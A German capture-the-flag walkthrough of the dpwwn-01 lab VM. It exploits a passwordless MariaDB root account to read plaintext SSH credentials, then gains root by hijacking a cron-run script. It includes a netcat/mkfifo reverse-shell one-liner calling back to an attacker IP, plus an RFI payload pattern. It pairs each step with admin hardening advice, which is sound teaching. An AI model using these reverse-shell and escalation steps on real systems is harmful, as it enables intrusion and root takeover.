Reconnaissance
┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.100 08:00:27:97:78:a7 PCS Systemtechnik GmbH
Analyse: Scan des lokalen Netzwerks mittels ARP-Protokoll zur Entdeckung aktiver Hosts.
Bewertung: Host `192.168.2.100` identifiziert. Die MAC-Adresse (`08:00:27:97:78:a7`) deutet auf eine VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.100` für weitere Scans verwenden.
Empfehlung (Admin): Standard Netzwerkerkennung.
┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
[Inhalt der /etc/hosts Datei nach der Bearbeitung]
192.168.2.100 dpwwn.vln
Analyse: Die lokale `/etc/hosts`-Datei wird editiert, um den Hostnamen `dpwwn.vln` der IP `192.168.2.100` zuzuordnen.
Bewertung: Vereinfacht die Adressierung des Ziels im weiteren Verlauf.
Empfehlung (Pentester): Verwende `dpwwn.vln` für Web-Anfragen.
Empfehlung (Admin): Clientseitige Einstellung.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.100 -p- | grep open
22/tcp open ssh penSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentS) PHP/5.4.16)
3306/tcp open mysql MySQL 5.5.60-MariaDB
Analyse: Ein schneller Nmap-Scan wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Drei offene Ports werden identifiziert:
* **Port 22 (SSH):** OpenSSH 7.4. Eine etwas ältere Version.
* **Port 80 (HTTP):** Apache 2.4.6 (CentOS) mit PHP 5.4.16. Beides veraltet.
* **Port 3306 (MySQL):** MariaDB 5.5.60. Ein offener Datenbankport ist immer interessant.
Alle drei Dienste bieten potenzielle Angriffsvektoren.
Empfehlung (Pentester):** Führe einen vollständigen Nmap-Scan durch. Untersuche den MySQL-Port auf mögliche anonyme oder schwache Logins. Untersuche den Webserver. Prüfe SSH auf bekannte Schwachstellen.
Empfehlung (Admin):** Schließe den MySQL-Port (3306) zur Außenwelt, wenn kein externer Zugriff benötigt wird (bind-address = 127.0.0.1 in my.cnf). Aktualisiere Apache, PHP und OpenSSH dringend.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.100
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-29 15:32 CEST
Nmap scan report for dpwwn.vln (192.168.2.100)
Host is up (0.000099s latency).
Not shown: 997 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 c1:d3:be:39:42:9d:5c:b4:95:2c:5b:2e:20:59:0e:3a (RSA)
| 256 43:4a:c6:10:e7:17:7d:a0:c0:c3:76:88:1d:43:a1:8c (ECDSA)
|_ 256 0e:cc:e3:e1:f7:87:73:a1:03:47:b9:e2:cf:1c:93:15 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentS) PHP/5.4.16)
|_http-title: Apache HTTP Server Test Page powered by CentS
|_http-server-header: Apache/2.4.6 (CentS) PHP/5.4.16
| http-methods:
|_ Potentially risky methods: TRACE
3306/tcp open mysql MySQL 5.5.60-MariaDB
| mysql-info:
| Protocol: 10
| Version: 5.5.60-MariaDB
| Thread ID: 13
| Capabilities flags: 63487
[...]
| Status: Autocommit
| Salt: (=
Analyse: Ein detaillierter Nmap-Scan wird gegen die Top 1000 Ports durchgeführt (da `-p-` fehlt).
Bewertung: Bestätigt die drei offenen Ports (22, 80, 3306) und liefert Details:
* SSH-Hostkeys werden angezeigt.
* Apache zeigt die CentOS-Standardseite. TRACE ist aktiv.
* MySQL/MariaDB gibt Versionsinformationen und Authentifizierungsdetails preis.
Keine neuen Ports unter den Top 1000 gefunden.
Empfehlung (Pentester):** Fokus auf MySQL (anonymer Login?, `root` ohne Passwort?), Webserver und SSH.
Empfehlung (Admin):** Siehe vorherige Empfehlungen. Datenbank-Informationen ggf. einschränken.
┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.100
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ PHP/5.4.16 appears to be outdated [...]. <-- Sehr alt!
+ Apache/2.4.6 appears to be outdated [...]. <-- Sehr alt!
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
+ /: HTTP TRACE method is active [...].
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products [...].
+ /info.php: Retrieved x-powered-by header: PHP/5.4.16.
+ /info.php: Output from the phpinfo() function was found. <-- Wichtig!
+ /info.php: PHP is installed, and a test script which runs phpinfo() was found. [...]
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. <-- Interessant!
[...]
+ 1 host(s) tested
Analyse: Nikto-Scan gegen Port 80.
Bewertung:
* Bestätigt stark veraltete Versionen von Apache und **PHP 5.4.16** (End-of-Life!).
* Findet eine `info.php`-Datei (`phpinfo()`).
* Findet Standardverzeichnisse/Dateien.
* **Interessant:** Meldet einen potenziellen RFI-Test-Payload für `info.php` (`?file=http://...`). Dies deutet stark darauf hin, dass `info.php` einen `file`-Parameter akzeptiert und anfällig für LFI/RFI sein könnte.
Empfehlung (Pentester):** Untersuche `info.php` manuell. Teste den `file`-Parameter auf LFI (z.B. `info.php?file=/etc/passwd`) und RFI (z.B. `info.php?file=http://[Angreifer-IP]/shell.txt`).
Empfehlung (Admin):** **Dringend Apache und PHP aktualisieren!** PHP 5.4 ist extrem veraltet und unsicher. Entferne `info.php`. Behebe die potenzielle LFI/RFI-Schwachstelle.
Web Enumeration
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://dpwwn.vln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
[...]
http://dpwwn.vln/info.php (Status: 200) [Size: 47421]
[...]
Analyse: Gobuster-Scan zur Verzeichnis-/Datei-Enumeration.
Bewertung: Findet `info.php`, was die Nikto-Ergebnisse bestätigt.
Empfehlung (Pentester):** Analysiere `info.php`.
Empfehlung (Admin):** Entferne `info.php`.
[Analyse von http://dpwwn.vln/]
└─#
Testing 123..
This page is used to test the proper operation of the Apache HTTP server after
it has been installed. If you can read this page it means that this site is
working properly. This server is powered by CentOS.
Analyse: Inhalt der Startseite.
Bewertung: Bestätigt die Apache-Standardseite für CentOS.
Initial Access (MySQL & SSH)
Analyse:** Da der MySQL-Port offen ist, wird ein Login-Versuch unternommen.
┌──(root㉿cyber)-[~]
└─# mysql -u root -p -h 192.168.2.100
Enter password: [Enter - kein Passwort]
Welcome to the MariaDB monitor. [...]
Server version: 5.5.60-MariaDB MariaDB Server
[...]
MariaDB [(none)]>
Analyse: Versuch, sich am MySQL-Server (Port 3306) als Benutzer `root` ohne Passwort anzumelden.
Bewertung:** **Kritische Fehlkonfiguration! Login erfolgreich!** Der `root`-Benutzer der MariaDB-Datenbank hat kein Passwort gesetzt und erlaubt Verbindungen von extern (nicht nur localhost). Dies gewährt vollen Zugriff auf die Datenbank.
Empfehlung (Pentester):** Enumeriere die Datenbanken und Tabellen. Suche nach Benutzerdaten, Hashes oder anderen sensiblen Informationen. Prüfe, ob UDF-Exploits oder `SELECT ... INTO OUTFILE` möglich sind, um eine Shell zu erhalten (obwohl dies bei MariaDB 5.5 eingeschränkt sein kann).
Empfehlung (Admin):** **Dringend ein starkes Passwort für den MySQL/MariaDB-Root-Benutzer setzen!** Beschränke den Zugriff auf localhost (`bind-address = 127.0.0.1`), wenn kein externer Zugriff benötigt wird.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| ssh | <-- Interessante Datenbank!
+--------------------+
MariaDB [(none)]> use ssh;
Database changed
MariaDB [ssh]> show tables;
+-----------------+
| Tables_in_ssh |
+-----------------+
| users |
+-----------------+
MariaDB [ssh]> select * from users;
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | mistic | testP@$$swordmistic |
+----+----------+-----------------------+
Analyse: Innerhalb der MySQL-Shell werden die Datenbanken aufgelistet. Eine Datenbank namens `ssh` wird gefunden. Diese wird ausgewählt, ihre Tabellen (`users`) angezeigt und der Inhalt der `users`-Tabelle abgefragt.
Bewertung:** **SSH-Credentials gefunden!** Die Datenbank `ssh` enthält eine Tabelle `users` mit dem Benutzernamen `mistic` und dem Passwort `testP@$$swordmistic` im Klartext.
Empfehlung (Pentester):** Versuche, dich mit `mistic:testP@$$swordmistic` per SSH (Port 22) anzumelden.
Empfehlung (Admin):** Speichere niemals Klartext-Passwörter in Datenbanken. Hashe und salze Passwörter immer. Verwende keine dedizierte Datenbank zur Speicherung von System-Credentials.
┌──(root㉿cyber)-[~]
└─# ssh mistic@dpwwn.vln
The authenticity of host 'dpwwn.vln (192.168.2.100)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dpwwn.vln' (ED25519) to the list of known hosts.
mistic@dpwwn.vln's password: testP@$$swordmistic [Passworteingabe]
Last login: Thu Aug 1 14:41:37 2019 from 192.168.30.145
[mistic@dpwwn-01 ~]$
Analyse: SSH-Login als Benutzer `mistic` mit dem aus der Datenbank extrahierten Passwort.
Bewertung:** **Initial Access erfolgreich!** Der Login gelingt, und eine Shell als Benutzer `mistic` wird erhalten.
Empfehlung (Pentester):** Beginne Post-Exploitation als `mistic`.
Empfehlung (Admin):** Sichere Datenbanken, verwende keine Klartextpasswörter, schütze SSH.
Proof of Concept: Initial Access
Ziel des POC: Demonstrieren, wie durch Ausnutzung eines ungesicherten MySQL/MariaDB-Servers (root ohne Passwort) Zugangsdaten für einen Systembenutzer (`mistic`) aus einer Datenbank gelesen und für einen erfolgreichen SSH-Login verwendet werden können.
Voraussetzungen: Offener MySQL-Port (3306), `root`-Login ohne Passwort erlaubt, Datenbank `ssh` mit Tabelle `users` und Klartext-Credentials, aktiver SSH-Dienst (Port 22).
Schritte: MySQL-Login als `root` -> Datenbank `ssh` auswählen -> Tabelle `users` abfragen -> Credentials `mistic:testP@$$swordmistic` -> SSH-Login.
┌──(root㉿cyber)-[~]
└─# mysql -u root -p -h 192.168.2.100
Enter password: [Enter]
MariaDB [(none)]> use ssh; select * from users;
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | mistic | testP@$$swordmistic |
+----+----------+-----------------------+
┌──(root㉿cyber)-[~]
└─# ssh mistic@dpwwn.vln
mistic@dpwwn.vln's password: testP@$$swordmistic
[...]
[mistic@dpwwn-01 ~]$
Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** Die katastrophale Datenbanksicherheit ermöglichte das direkte Auslesen von SSH-Zugangsdaten.
Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** **MySQL/MariaDB dringend absichern!** Root-Passwort setzen, Zugriff auf localhost beschränken, keine Klartext-Credentials speichern.
Privilege Escalation (Cronjob Hijacking)
Analyse:** Nach Erhalt der Shell als `mistic` wird das System enumeriert.
[mistic@dpwwn-01 ~]$ ll
insgesamt 4
-rwxr-xr-x. 1 mistic mistic 186 1. Aug 2019 logrot.sh
[mistic@dpwwn-01 ~]$ cat logrot.sh
#!/bin/bash
#
#LOGFILE="/var/tmp"
#SEMAPHORE="/var/tmp.semaphore"
while : ; do
read line
while [[ -f $SEMAPHORE ]]; do
sleep 1s
done
printf "%s\n" "$line" >> $LOGFILE
done
[mistic@dpwwn-01 ~]$ ls -la
[...]
drwxr-xr-x. 2 mistic mistic 100 1. Aug 2019 .
[...]
-rwxr-xr-x. 1 mistic mistic 186 1. Aug 2019 logrot.sh
[...]
[mistic@dpwwn-01 ~]$ id
uid=1000(mistic) gid=1000(mistic) Gruppen=1000(mistic) Kontext=...
Analyse: Im Home-Verzeichnis von `mistic` befindet sich nur ein Shell-Skript `logrot.sh`. Der Benutzer `mistic` hat Schreibrechte auf sein Home-Verzeichnis und somit auch auf dieses Skript.
Bewertung: Das Skript selbst scheint harmlos (liest Zeilen und schreibt sie in eine Logdatei, wenn eine Semaphore-Datei nicht existiert). Die Existenz eines Skripts im Home-Verzeichnis ist jedoch immer ein potenzieller Hinweis auf einen Cronjob oder einen anderen Mechanismus, der dieses Skript ausführt.
Empfehlung (Pentester):** Überprüfe die System-Crontabs (`/etc/crontab`, `/etc/cron.d/*`) und die Benutzer-Crontab (`crontab -l`) auf Einträge, die `/home/mistic/logrot.sh` ausführen.
Empfehlung (Admin):** Führe Cronjobs nicht aus Skripten in Benutzer-Home-Verzeichnissen aus, auf die der Benutzer Schreibrechte hat. Lege Skripte für System-Cronjobs in sicheren Verzeichnissen ab.
[mistic@dpwwn-01 ~]$ find / -type f -perm -4000 -ls 2>/dev/null
[... Standard SUID binaries, nichts Ungewöhnliches ...]
6665623 152 s--x--x 1 root root 154048 Okt 30 2018 /usr/bin/sudo
[...]
[mistic@dpwwn-01 opt]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
Analyse: Suche nach SUID-Binaries und Capabilities.
Bewertung: Findet keine ungewöhnlichen SUID-Binaries außer den Standardsachen. `sudo` ist vorhanden. Einige Capabilities sind gesetzt, aber keine scheinen direkt für PE missbrauchbar.
Empfehlung (Pentester):** Prüfe `sudo -l`. Fokus bleibt auf `logrot.sh` und Cronjobs.
Empfehlung (Admin):** Regelmäßige Überprüfung von SUID/Capabilities.
[mistic@dpwwn-01 opt]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/3 * * * * root /home/mistic/logrot.sh <-- Kritischer Eintrag!
Analyse: Der Inhalt der System-Crontab `/etc/crontab` wird angezeigt.
Bewertung:** **Volltreffer!** Es gibt einen Cronjob, der **alle 3 Minuten** (`*/3 * * * *`) das Skript `/home/mistic/logrot.sh` als Benutzer **`root`** ausführt.
Empfehlung (Pentester):** Da der Benutzer `mistic` Schreibrechte auf `/home/mistic/logrot.sh` hat, kann der Inhalt des Skripts überschrieben werden, um beliebigen Code als `root` auszuführen. Füge eine Reverse-Shell-Payload in `logrot.sh` ein und warte maximal 3 Minuten.
Empfehlung (Admin):** **Dringend den Cronjob korrigieren!** Führe niemals Skripte aus Benutzer-Home-Verzeichnissen als Root aus, wenn der Benutzer Schreibrechte hat. Verschiebe das Skript in ein Systemverzeichnis (z.B. `/usr/local/sbin`) und setze die Berechtigungen entsprechend.
[mistic@dpwwn-01 ~]$ vi logrot.sh
#!/bin/bash
#
#LOGFILE="/var/tmp"
#SEMAPHORE="/var/tmp.semaphore"
# Originalinhalt auskommentiert/ersetzt durch Reverse Shell Payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f
# while : ; do
# read line
# while [[ -f $SEMAPHORE ]]; do
# sleep 1s
# done
# printf "%s\n" "$line" >> $LOGFILE
# done
Analyse: Das Skript `logrot.sh` wird bearbeitet. Der ursprüngliche Inhalt wird auskommentiert oder gelöscht und durch eine Standard-Reverse-Shell-Payload ersetzt, die sich zum Angreifer-Host `192.168.2.137` (IP scheint hier vom vorherigen Beispiel abzuweichen, sollte die aktuelle Angreifer-IP sein, z.B. 192.168.2.105 oder 192.168.2.199) auf Port `5555` verbindet.
Bewertung:** Vorbereitung des Cronjob-Hijackings. Wenn der Cronjob das nächste Mal als `root` läuft (innerhalb von 3 Minuten), wird diese Payload ausgeführt.
Empfehlung (Pentester):** Starte einen Netcat-Listener auf dem Angreifer-System auf Port 5555 und warte auf die eingehende Verbindung.
Empfehlung (Admin):** Cronjob korrigieren.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.100] 58982
sh: no job control in this shell
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
sh-4.2#
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System gestartet. Nach kurzer Zeit (max. 3 Minuten) stellt das Zielsystem (Cronjob als Root führt das modifizierte `logrot.sh` aus) eine Verbindung zum Listener her.
Bewertung:** **Privilege Escalation erfolgreich!** Eine Reverse Shell mit Root-Rechten (`uid=0(root)`) wurde durch das Hijacking des Cronjobs erhalten.
Empfehlung (Pentester):** Root-Zugriff etabliert. Suche die Root-Flag.
Empfehlung (Admin):** Cronjobs sicher konfigurieren.
sh-4.2# ls
anaconda-ks.cfg dpwwn-01-FLAG.txt
sh-4.2# cat dpwwn-01-FLAG.txt
Congratulation! I knew you can pwn it as this very easy challenge.
Thank you.
64445777
Analyse: In der Root-Shell (vermutlich im `/root`-Verzeichnis) wird die Datei `dpwwn-01-FLAG.txt` gefunden und ihr Inhalt angezeigt.
Bewertung:** Die Root-Flag `64445777` wurde gefunden.
Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion.
Proof of Concept: Privilege Escalation
Ziel des POC: Demonstrieren, wie durch Identifizierung und Modifikation eines unsicher konfigurierten Cronjobs, der ein Skript im Home-Verzeichnis eines Benutzers als Root ausführt, eine Root-Reverse-Shell erlangt werden kann.
Voraussetzungen: Shell als Benutzer `mistic`, Schreibrechte auf `/home/mistic/logrot.sh`, Cronjob-Eintrag in `/etc/crontab`, der `/home/mistic/logrot.sh` als `root` ausführt, Tools (`cat`, `vi`/`echo`, `nc`).
Schritte: Cronjob identifizieren (`cat /etc/crontab`) -> Skript `logrot.sh` mit Reverse-Shell-Payload überschreiben (`vi logrot.sh`) -> Listener starten (`nc -lvnp 5555`) -> Auf Cronjob-Ausführung warten (max. 3 Min) -> Root-Shell empfangen.
[mistic@dpwwn-01 ~]$ cat /etc/crontab | grep logrot
*/3 * * * * root /home/mistic/logrot.sh
[mistic@dpwwn-01 ~]$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [Angreifer-IP] 5555 >/tmp/f' > logrot.sh
┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
[... nach max. 3 Minuten ...]
connect to [...] from [...] [...]
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root) [...]
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die unsichere Cronjob-Konfiguration ermöglichte das Ausführen beliebigen Codes als Root.
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **Cronjobs sicher konfigurieren!** Keine Skripte aus beschreibbaren Benutzerverzeichnissen als Root ausführen.
Flags
cat /pfad/zur/user.txt (Nicht im Log gefunden)
(Nicht gefunden)
cat /root/dpwwn-01-FLAG.txt
64445777